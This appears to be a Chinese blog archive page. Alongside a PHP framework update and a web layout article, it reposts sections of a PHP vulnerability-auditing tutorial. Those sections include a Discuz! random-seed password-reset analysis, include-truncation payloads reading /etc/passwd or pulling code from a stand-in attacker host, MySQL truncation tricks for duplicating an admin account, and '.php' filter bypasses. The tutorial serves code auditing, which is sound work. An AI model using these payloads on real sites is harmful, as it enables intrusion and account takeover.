分类 网页与编程 中的文章

VgotFaster 开发,解决所有类库,模型相互间的继承问题

前些日子说到开发的 VgotFaster PHP 框架已经因继承问题拖下N天了,最近仔细研究了 CodeIgniter 的源码,我在想是不是我使用 CI 框架导致思想受 CI 的制约了,为啥非得参考 CI 呢。通过研究 CI 得出了其对于类库和属性在控制器和模型之间的继承方法,然后再经过一翻改进 VgotFaster 在类库,模型,视图,模板引擎和配置里的自动载入完全解决了,现在可以说框架已经成形了,剩下就是各种功能类库和辅助函数的增加以及相关提示的增强啦,这次是真的了。
演示:http://www.vgot.net/new_vgot/
这是用 VgotFaster 制作的站,虽然只用到了模板引擎啦。这个界面也将会是我的新首页,不过有时候我总是会很懒r。。。

Pader 2009-9-10 0

提升网站设计品质的8种布局方案

网页设计中,内容组织恐怕是最至关重要、最影响设计品质的方面了。如何将信息组织到好的布局中,是一个网站的基础,并且应该在考虑外观之前就决定好。没有好的布局,网页信息流就不能正确传递,所有东西都不能建立起合理的联系。

在这篇文章中,我们将讨论八个布局解决方案/技巧, 这些方案和技巧将有助于你创建整洁有序的内容布局。这八个技 巧包括滑门(sliders)、标签式、渐进布局(progressive layouts)、结构网格、模态窗口(modal window)、翻转元素、手风琴效果(accordions)以及超大下拉菜单(mega drop-down-menus)。

 

1. 滑动样式与传送带(Sliders and Carousels)

滑 门(Sliders),也可称为传送带(carousels),是一种有序的、交互性强、十分平滑地展示内容的方式。滑门样式是一个非常流行的技 巧,大家都觉得它很好用,能让你在固定的区块内填充上大量内容。没有滑门的帮助,这些内容可能就要分开放到页面中的各个地方。而大多数时候,你在使用页面 空间时总是捉襟见肘。或者,有些内容是你希望“用户要求”后才出现。这有助于让用户一次只关注一个内容区块,也符合他们自己的便利需求。

滑门样式的实例

导航区提供缩略图与图标
运用滑门和幻灯样式时,最好在导航区提供图标或缩略图,以便使导航更加简单直观。缩略图和图标给用户指出明路,向他们解释当前所在位置,以及有哪些浏览选项可供选择(比如说幻灯片的导航可以是水平的,也可以是垂直的)。另外,还能方便他们快速选择特定滑门页。

Coda网站的 滑门顶部设 计了标签卡,他们使用的是“滑动门+标签卡”的混合样式。这个主意绝顶聪明,因为通过看缩略图,用户就能快速得知特定滑门页的内容。而且,这些图标也提供 了强大的、令人印象深刻的、干净整洁的视觉支持。除了图标和标签你也可以在标题前加上小图片, 或者只用数字也行。

Screenshot

用于展示产品的滑门样式
与上面的例子对应,滑门不仅能用于大容量信息的组织,也能为用户浏览大量产品条目提供方便。 SourceBits (见下图)使用了多层滑门(一个水平的,一个垂直的),用唱片封面作为导航条目。

水平滑门两端都有大的圆形箭头图标,实时反映左右导航的可用性。滑动的时候有平滑的动画,用起来非常舒服。同时,你也能看到,各个元素间距都精心设计过,这有助于内容组织,也提升了可用性。鼠标滑过时,每个条目还有漂亮的聚光灯效果。

Screenshot

垂直滑动的内容以及超大的水平“点击条”
接下来看看 QuickSnapper 的滑门。这是一个完美融入页面整体布局的十分好用的垂直滑门。滑门内容中有大量截屏图,内容被有序地组织起来。这个滑门最赞的地方就是上下方的按钮导航。按钮宽及整个滑门,大的按钮让“推拉”滑门更加容易。

还有,这些按钮的:active和:focus效果也很漂亮。

Screenshot

滑门脚本

你可以参考下面的脚本、技巧和教程制作你自己的滑门:

2.标签卡导航元素

本 质上标签卡导航和滑门效果是差不多的技巧。它们都能帮你把一大片内容放到一小块区域里。标签卡导航很常见,但也有很多不常见的运用方式。我们这里 关注的是在一个页面内部的标签卡,而不是用于在不同页面之间跳转的标签样式主导航。标签卡很明显地将内容划分到不同区块,最终又把他们融合到占地面积很小 的一个区块中。

标签卡的样式范例

出众的背景,大的可点击区域,明显的分割
第一个例子来自 Mac Pro网站 的“Performance”部分,其标签元素的组织非常值得学习。这些标签卡上的文字都十分易读,可点击区域很大,各标签视觉上的区分也很明显,这正是 大部分用户期待的样式啊。你也应该能注意到,当前标签卡上还有着十分微妙的渐变背景,与主内容区块很好地融合在了一起。未激活的标签背景则略暗,主内容区 块在其上有微弱的投影,这种做法加强了深度感和立体效果。十分简单而有效的技巧。

Screenshot

按钮区分的简洁标签卡
以下是另一个利用标签卡紧凑地展示信息的实例。根据 Atebits 的布局结构,介绍性内容的空间被挤压,不太适合做成多区块样式。所以他们介绍内容的三大部分被组织到了标签中,保持了布局的整洁有序。再一次地,当前标签 卡的背景与主内容区融合,不活动标签卡则是较暗的灰色背景。你同样也会发现标签卡之间有着漂亮的分割线,使得每个标签卡看起来都像是独立的按钮。

Screenshot

为整个标签集提供清晰的分割线
Fontcase 的标签卡设计也很精妙,很有现代感。尽管在未激活标签之间没有分割线,当前标签却有明显的边线。你也能注意到,在整个标签集的上方和下方各有一条边线。标签卡使用了图标与留白来突出文字,提高了易用性。

Screenshot

标签卡效果脚本

3. 模态窗口

模态窗口(Modal windows),或者称为浮窗,一般用于在空间紧张的页面中展示额外信息。在模态窗口中,你可以放置放大版的图像、额外内容、警告/提示信息、视频等等。用模态窗口展示信息时,记得要同时明确地提示用户如何关闭它。

同时,用于打开模态窗口的链接、缩略图、图标或者其他图形元素,一定要保证与模态窗口要展示的内容有足够的关联。相似的图标、摘要、图形元素都能帮助用户建立原始链接与打开的窗口的联系。

模态窗口的例子

运用到登录和注册流程中的浮窗
模 态窗口最典型的运用就是登录/注册窗口了(与诸如图像、音频、视频、Flash等“传统”媒体文件相比)。登录和注册表单不是用户每次浏览页面都要用到 的必要部分,所占页面空间理所应当被节约下来。而使用浮窗,则又为用户省去了重开一个页面的时间,毕竟这只是一个很简单的非常用动作。他们能在网站的任何 页面中登录/注册,而不用中断现有流程——只要网站的设计者能提供基于Ajax的“静悄悄的” 登录/注册。

Grooveshark 整个站点的每一个页面中,这个漂亮的登录窗口都触手可及。注意,点击登录( Lodin> )按钮后并不会载入一个新页面,而是直接把注册表单替换成了登陆表单(使用了手风琴效果)。非常方便,非常友好的用户界面。

Screenshot

消隐页面/使用投影
如 果要使用模态窗口,让窗口下面的页面淡出焦点十分重要。你可以用半透明背景覆盖或者为窗口添加投影,或者两者结合。这么做有两个作用:一是能让用户将注 意力集中到浮窗上,然后暂时忽视掉背后的页面。另外,也能增加窗口和页面之间的深度感和区分度,让人在视觉上觉得这窗口确实是漂浮着的。注意看下面的例子 (KissMetrics),半透明的黑色背景让页面消隐,有助于登录浮窗暂时成为视觉重点。另外,取消和关闭窗口的按钮也设计得很好,够明显,够漂亮。

Screenshot

RealMacSoftware 的浮窗只做了投影,而没有让整个页面消隐。只要深度感和区分度做得足够,这样也很有效。

Screenshot

模态窗口的脚本

4. 翻转元素 Rollover Elements

翻转元素目前被越来越多地运用于商业网站、作品集站点和产品展示页。翻转元素的核心概念就是当用户鼠标移到某个按钮或网页元素上时,处于另一个布局区域的元素就自动显示出来。请看下面的例子深入了解我说的“翻转元素”究竟是什么。

翻转实例

标签卡翻转
下图是 Miro主页 的截屏,他们设计了一个十分精妙的巨大翻转元素。这 本质上和滑门类似 —— 只不过内容切换时不需要点击罢了。

Screenshot

小地方的微妙翻转
TaoEffect 向我们完美展示了如何通过设计精巧漂亮的翻转元素来添加清爽整洁的额外信息(这种效果最早是应用于前文提到过的Coda网站,但我们选择了TaoEffect作为这一节的实例)。信息的展示十分友好,您只需要把鼠标移到按钮上即可。

访问网站你会发现,翻转时有非常轻柔的动画,垂直跳动 + 淡入淡出。你应该也能注意到它的背景是半透明的,跳出来的卡片边缘还有高光和投影,与背景很好的区分开来。

Screenshot

内容地图上的翻转元素
OneHub 则利用翻转元素实现了另一种效果。这个页面有点像地图,在不同区域做出了标注。鼠标移到标注上时,会显示该标注的额外信息。这种方法用在需要分区域详细解释的产品介绍页上将有特效。

Screenshot

与幻灯切换结合的翻转元素
另一个蛮有趣的设计来自 SquaredEye —— 他们在导航按钮上用翻转元素来展示下一页内容的预览图。

Screenshot

小提示/翻转元素的脚本

5. 渐进布局Progressive Layouts

“渐进布局”的意思是站点内容按照一定的顺序一块一块地显示给用户。这种组织内容的做法比较反常,但也能在很多网站上看到。渐进布局能帮助用户更容易地深入一长串信息。

渐进布局的实例

整个站点都由渐进布局构成
Sursly.com(貌似被墙,请点击这里代理访问) 的整个作品集站点都基于渐进布局。您应该能注意到,页面右上角有一个“GO”按钮,每一页面都是从上一页面中的GO按钮链接过来的。这种页面之间的渐进系 统代替了传统的导航和菜单。当然,这样做也有一个很明显的缺点:导航的交互性下降了,用户只能按照网站建设者想要的顺序获取内容。(译注:还有一个缺点是,在不同分辨率屏幕上的显示差异太大,因为你必须考虑到页面内部各区块的位置问题)

尽管单个页面布局能被存为书签(使用# 锚记),但对于随机访问者来说,则无法通过一个明晰的导航对站点内容建立起直接的整体感知。而且,这种布局一般只有一个“航向”,从易用性的角度上来说,所谓“导航”的概念在这里几乎不能适用。

Screenshot

译注:这种水平布局的网站大都采用了渐进布局。和上面的站非常类似的一个网站是: peter-pearson.com 相对于简单的滚动,这个站还在背景里做了非常可爱的线条,十分漂亮。另外推荐 26个水平布局网站设计,在英文原文的留言里还有很多bonus可看。

垂直方向的渐进布局
Danny Blackman 的作品集也是仅通过一张渐进式布局页面来实现的。各块元素相互独立,在一张页面上垂直展示。相邻元素之间有滚动按钮,每个元素都有返回顶部的按钮。菜单或所谓导航还是没有被使用。

Screenshot

译注:推荐一个做得更好的例子:searchinsidevideo.com 他们使用了固定在顶端的导航,字体也非常大的,极富视觉冲击力,用起来也很方便。

ScrollTo 脚本

  • ScrollTo – 使用这个jQuery插件,就能轻松建立渐进式布局。

6. 网格

讨 论布局的文章是不可能避开网格不谈的。网格通常被认为是任何平衡、有序、简练的网页布局的基础。很多设计师都认为网格是处理信息容量很大的页面时 的必备武器。有时候单独使用网格就能很好的展示信息,甚至不需要其他技巧。好的网格能够将一个页面中的全部内容都整合进流动布局里,而内容的可读性,或者 如果用户想快速浏览,都不会受到影响。

下面的网站使用了严格的网格布局。整个站点只有一张页面,需要融入大量信息。不过,全部信息被整合进这整洁的两栏布局网格中。整个布局严谨、强健、稳固,留白恰到好处。浏览或仔细研读内容都非常方便。

Screenshot

使用不同背景区分网格区域
使用网格一般是因为你需要在一个很紧凑的区域内放置大量内容。你想要创建整洁有序的网站布局,但是又不能随意添加很多留白来区分区块。如此的话,你就需要使用不同背景来区分网格区域。没了网格间的大量留白,只要网格内还有少量的内边距,也可以看起来很不错。Valleycreek.org 就用了这种战术,尽管已经有一条细线来分割网格区域,背景色的差异还是被用到,以提供更明显的区分。

Screenshot

网格生成器、模版和更多工具

7. 手风琴效果(折叠菜单)

折叠菜单和滑动门以及标签卡涉及同一个概念:把大量信息压缩到一小块区域里。“手风琴效果”指的是一些被水平或垂直组织的区块,通过点击,一个内容区块滑向另一个区块,并将其内部内容展示出来,和手风琴的推拉过程有点相似。

手风琴效果的实例

功能性和大点击区域
Alex Cohaniuc 的手风琴菜单设计的很好。把作品项目藏到手风琴里是的做法其实挺有道理的,因为这能把每个项目的不必要信息隐藏起来,等访客有需要的时候再显示。说这项设 计好是因为:一,每块画布的标题都很大,很好点击;二,每块标签卡都使用了一个小箭头来反映开合状态;三,鼠标滑过时,当前标签卡有将它区分出来的不同背 景色。

Screenshot

水平内容滚动
Jason Reed 使用手风琴将整个站点糅合进一张页面里。他没有赋予手风琴以特别不一般的视觉特征,而是让它融入了页面之中。另外,这是一个水平方向推拉的手风琴(尽管标 签卡是垂直方向的)。请注意看他的标签卡,每个标签卡之间的距离很大,这些标签卡,或者说标题,并不像上一个例子有那么明显的区分,设计师利用了留白来将 它们各自独立。鼠标移上去的时候,这些十分易读的标签就会变成橙色,让用户能够非常明确地了解到自己将要点击的标签后面都有什么。

Screenshot

包含图像和信息的手风琴
Marius Roosendaal 使用另一个非常漂亮的手风琴来“储藏”他的作品图像。与上面两个例子一样,每一个内容区块都是一个项目的展示。不过,此例的手风琴里的每个图像还附加有一 些文字介绍。你能注意到一个小按钮被用来显示/隐藏介绍。他同时也提供到更详细介绍或者更大预览图的链接。在一个小小的手风琴里当然不能塞进特别特别多的 信息,所以如果可以的话,还是尽量给每个项目都加上到详细内容的链接吧。

Screenshot

手风琴脚本

8. 超大下拉菜单

导 航不一定非得是几个简单的超链接组合。最近,导航设计有一个流行趋势:不仅仅提供“航向”选择,也提供网站内各“终点站”位置以及“终点站”之间 的从属关系。所谓“超大”下拉菜单常见于电子常务网站,用于展示他们庞杂的商品分类。这种样式正成为设计趋势,因为它能通过普通的翻转就提供大量分类信 息,而不需要用户额外的点击。

超大下拉菜单的实例

超大下拉菜单的一个经典例子是 Ruby On Rails Guide 的Guide Index。这个菜单提供了一个组织良好、样式精美的二级导航。注意,与一般的做法不同,激活二级菜单需要用户点击,Guide Index右边有“切换” 图标,并且有着与将要弹出的二级菜单相融合的背景色。弹出的二级菜单也有细微的投影。

译注:这站点在IE的Quirks模式下有显示异常……(话说显示不异常的页面还基本上没有……)

下面的截图里的投影,我也看不到……

Screenshot

带更多信息的多级菜单
Porsche 对于上面说到的技巧来说,简直是一个完美的例子。Porsche 的主页提供一个多级菜单,让用户不用一次点击就能快速了解他们生产的所有汽车。第三级菜单中,所选汽车的信息被直接提供:包括图片、许多链接、以及其他关 于本车的快读信息。当然,这个更大的区块就是一个巨大的可点击区域。所有细节和特别介绍都直接链到相应页面。要了解究竟是怎么回事,就点击下面的图片自己 去看看吧!

Screenshot

在下拉列表里显示搜索结果
最近还比较流行的一个技巧和上面谈到的有点类似:在下拉列表里显示搜索结果。 Media Temple Knowledge Base 就使用了这一技巧。他们没有使用一个新页面来显示用户的搜索结果,搜索结果在一个下拉列表里随着你的输入而实时变化。不过,请注意,完整搜索结果页的链接仍然存在,您若要在自己的设计中使用这种设计,还请不要忘记这一点。

Screenshot

在下拉区块中显示额外信息
Gateway.com 继续登场。你能看到他们在顶部菜单中使用了超大的下拉区块来展示产品。下拉区块中的产品排列组织得非常好,图片提供了强健的视觉支持。这个菜单还提供了诸 如价格和屏幕尺寸等额外信息,让顾客能够在查看具体页面之前就有所选择。因为很多人都很关心产品价格——至少对于很多有购买需求的人来说。

Screenshot

Pader 2009-8-28 0

高级PHP应用程序漏洞审核技术

[目录]

1. 前言
2. 传统的代码审计技术
3. PHP版本与应用代码审计
4. 其他的因素与应用代码审计
5. 扩展我们的字典
  5.1 变量本身的key
  5.2 变量覆盖
    5.2.1 遍历初始化变量
    5.2.2 parse_str()变量覆盖漏洞
    5.2.3 import_request_variables()变量覆盖漏洞
    5.2.4 PHP5 Globals 
 5.3 magic_quotes_gpc与代码安全
    5.3.1 什么是magic_quotes_gpc
    5.3.2 哪些地方没有魔术引号的保护
    5.3.3 变量的编码与解码
    5.3.4 二次攻击
    5.3.5 魔术引号带来的新的安全问题
    5.3.6 变量key与魔术引号
  5.4 代码注射
    5.4.1 PHP中可能导致代码注射的函数
    5.4.2 变量函数与双引号
  5.5 PHP自身函数漏洞及缺陷
    5.5.1 PHP函数的溢出漏洞
    5.5.2 PHP函数的其他漏洞
    5.5.3 session_destroy()删除文件漏洞
    5.5.4 随机函数
  5.6 特殊字符
    5.6.1 截断
      5.6.1.1 include截断
      5.6.1.2 数据截断
      5.6.1.3 文件操作里的特殊字符
6. 怎么进一步寻找新的字典
7. DEMO
8. 后话
9. 附录

Pader 2009-8-21 0

高级PHP应用程序漏洞审核技术(6) - Demo和结尾

七、DEMO

    * DEMO -- Discuz! Reset User Password 0day Vulnerability 分析
    (Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt)

    PHP版本要求:php4 php5<5.2.6
    系统要求: 无
    审计策略:查找mt_srand/mt_rand

    第一步 安装Discuz! 6.1后利用grep查找mt_srand得到:

-------------------------------------------------------------------------------
heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5
./include/global.func.php-694-  $GLOBALS['rewritecompatible'] && $name = rawurlencode($name);
./include/global.func.php-695-  return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>';
./include/global.func.php-696-}
./include/global.func.php-697-
./include/global.func.php-698-function random($length, $numeric = 0) {
./include/global.func.php:699:  PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
./include/global.func.php-700-  if($numeric) {
./include/global.func.php-701-          $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1));
./include/global.func.php-702-  } else {
./include/global.func.php-703-          $hash = '';
./include/global.func.php-704-          $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
--
./include/discuzcode.func.php-30-
./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) {
./include/discuzcode.func.php-32-       @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php';
./include/discuzcode.func.php-33-}
./include/discuzcode.func.php-34-
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
./include/discuzcode.func.php-36-
./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) {
./include/discuzcode.func.php-38-       global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;
./include/discuzcode.func.php-39-       $attach = $postlist[$pid]['attachments'][$aid];
./include/discuzcode.func.php-40-       if($attach['attachimg']) {
-------------------------------------------------------------------------------

    有两个文件用到了mt_srand(),第1是在./include/global.func.php的随机函数random()里:

--code-------------------------------------------------------------------------
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
-------------------------------------------------------------------------------

    判断了版本,如果是PHP_VERSION > '4.2.0'使用php本身默认的播种。从上一章里的分
析我们可以看得出来,使用php本身默认的播种的分程序两种情况:

1) 'Cross Application Attacks' 这个思路是只要目标上有使用使用的程序里定义了类似
mt_srand((double)microtime() * 1000000)的播种的话,又很有可能被暴力。在dz这里不需
要Cross Application,因为他本身有文件就定义了,就是上面的第2个文件:

--code-------------------------------------------------------------------------
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
-------------------------------------------------------------------------------

    这里我们肯定dz是存在这个漏洞的,文章给出来的exp也就是基于这个的。(具体exp利用
的流程有兴趣的可以自己分析下])

2) 有的人认为如果没有mt_srand((double)microtime() * 1000000);这里的定义,那么dz就
不存在漏洞,这个是不正确的。首先你不可以保证别人使用的其他应用程序没有定义,再次不
利用'Cross Application Attacks',5.2.6>php>4.2.0 php本身默认播种的算法也不是很强
悍(分析详见上),也是有可以暴力出来,只是速度要慢一点。


八、后话

    本文是80vul的三大马甲:80vul-A,80vul-B,80vul-C集体智慧的结晶,尤其是80vul-B贡
献了不少新发现。另外需要感谢的是文章里提到的那些漏洞的发现者,没有他们的成果也就
没有本文。本文没有写“参考”,因为本文是一个总结性的文挡,有太多的连接需要提供限于篇
幅就没有一一列举,有心的读者可以自行google。另外原本没有打算公布此文,因为里面包含
了太多应用程序的0day,而且有太多的不尊重别人成果的人,老是利用从别人那学到的技术来
炫耀,甚至牟取利益。在这里我们希望你可以在本文里学到些东西,更加希望如果通过本文你
找到了某些应用程序的0day,请低调处理,或者直接提交给官方修补,谢谢大家!!


九、附录

[1] http://bbs.phpchina.com/attachment.php?aid=22294
[2] http://www.php-security.org/
[3] http://bugs.php.net/bug.php?id=40114

Pader 2009-8-21 0

高级PHP应用程序漏洞审核技术(5) - 特殊字符

5.6 特殊字符

    其实“特殊字符”也没有特定的标准定义,主要是在一些code hacking发挥着特殊重作用
的一类字符。下面就举几个例子:
  
5.6.1 截断

    其中最有名的数大家都熟悉的null字符截断。

5.6.1.1 include截断

--code-------------------------------------------------------------------------
<?php
include $_GET['action'].".php";
?>
-------------------------------------------------------------------------------

    提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”,但是除了“%00”还有没有
其他的字符可以实现截断使用呢?肯定有人想到了远程包含的url里问号“?”的作用,通过提交
“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个
看上去不是那么舒服那么我们简单写个代码fuzz一下:

--code-------------------------------------------------------------------------
<?php
////////////////////
////var5.php代码:
////include $_GET['action'].".php";
////print strlen(realpath("./"))+strlen($_GET['action']); 
///////////////////
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i<50000;$i++)
{
$str=$str."/";

$resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);
//1.txt里的代码为print 'hi';
if (strpos($resp, 'hi') !== false){
print $i;
exit;
}
}
?>
-------------------------------------------------------------------------------

    经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断,win系统和*nix
的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大于
256时被截断,对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候
就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先发现])


5.6.1.2 数据截断
   
    对于很多web应用文件在很多功能是不容许重复数据的,比如用户注册功能等。一般的应
用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据,然
而我们可以通过“数据截断”等来饶过这些判断,数据库在处理时候产生截断导致插入重复数
据。
   
1) Mysql SQL Column Truncation Vulnerabilities
  
    这个漏洞又是大牛Stefan Esser发现的(Stefan Esser是我的偶像:)),这个是由于mysql
的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超
长的值只会提示warning,而不是error(如果是error就插入不成功),这样可能会导致一些截
断问题。测试如下:
   
--code-------------------------------------------------------------------------
mysql> insert into truncated_test(`username`,`password`) values("admin","pass");

mysql> insert into truncated_test(`username`,`password`) values("admin           x", "new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)

mysql> select * from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
| 1 | admin      | pass     |
| 2 | admin      | new_pass |
+----+------------+----------+
2 rows in set (0.00 sec)
-------------------------------------------------------------------------------

2) Mysql charset Truncation vulnerability
   
    这个漏洞是80sec发现的,当mysql进行数据存储处理utf8等数据时对某些字符导致数据
截断。测试如下:
   
--code-------------------------------------------------------------------------
mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");
Query OK, 1 row affected, 1 warning (0.00 sec)

mysql> select * from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
| 1 | admin      | pass      |
| 2 | admin      | new_pass  |
| 3 | admin      | new_pass2 |
+----+------------+----------+
2 rows in set (0.00 sec)
-------------------------------------------------------------------------------
   
    很多的web应用程序没有考虑到这些问题,只是在数据存储前简单查询数据是否包含相同
数据,如下代码:

--code-------------------------------------------------------------------------
$result = mysql_query("SELECT * from test_user where user='$user' ");
  ....
if(@mysql_fetch_array($result, MYSQL_NUM)) {
die("already exist");
}
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++


5.6.1.3 文件操作里的特殊字符
   
    文件操作里有很多特殊的字符,发挥特别的作用,很多web应用程序没有注意处理这些字
符而导致安全问题。比如很多人都知道的windows系统文件名对“空格”和“.”等的忽视,这个
主要体现在上传文件或者写文件上,导致直接写webshell。另外对于windows系统对“.\..\”
进行系统转跳等等。
   
    下面还给大家介绍一个非常有意思的问题:

--code-------------------------------------------------------------------------
//Is this code vul?
if( eregi(".php",$url) ){
die("ERR");
}
$fileurl=str_replace($webdb[www_url],"",$url);
.....
header('Content-Disposition: attachment; filename='.$filename);
-------------------------------------------------------------------------------
   
    很多人看出来了上面的代码的问题,程序首先禁止使用“.php”后缀。但是下面居然接了
个str_replace替换$webdb[www_url]为空,那么我们提交“.p$webdb[www_url]hp”就可以饶过
了。那么上面的代码杂fix呢?有人给出了如下代码:

--code-------------------------------------------------------------------------
$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php",$url) ){
die("ERR");
}
-------------------------------------------------------------------------------

    str_replace提到前面了,很完美的解决了str_replace代码的安全问题,但是问题不是那
么简单,上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码:

--code-------------------------------------------------------------------------
<?php
for($i=0;$i<255;$i++) {
$url = '1.ph'.chr($i);
$tmp = @file_get_contents($url);
if(!empty($tmp)) echo chr($i)."";

?>
-------------------------------------------------------------------------------

    我们在windows系统运行上面的代码得到如下字符* < > ? P p都可以打开目录下的1.php。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:文读取件操作函数
+++++++++++++++++++++++++

六、怎么进一步寻找新的字典

    上面我们列举很多的字典,但是很多都是已经公开过的漏洞或者方式,那么我们怎么进一
步找到新的字典或者利用方式呢?

    * 分析和学习别人发现的漏洞或者exp,总结出漏洞类型及字典。
   
    * 通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式。
   
    * fuzz php的函数,找到新的有问题的函数(不一定非要溢出的),如上一章的4.6的部分
很多都可以简单的fuzz脚本可以测试出来。
   
    * 分析php源代码,发现新的漏洞函数“特性”或者漏洞。(在上一节里介绍的那些“漏洞审
计策略”里,都没有php源代码的分析,如果你要进一步找到新的字典,可以在php源代码的基础
上分析下成因,然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。)(我们以后会
陆续公布一些我们对php源代码的分析)
   
    * 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽
视的问题
   
    * 你有什么要补充的吗? :)

Pader 2009-8-21 0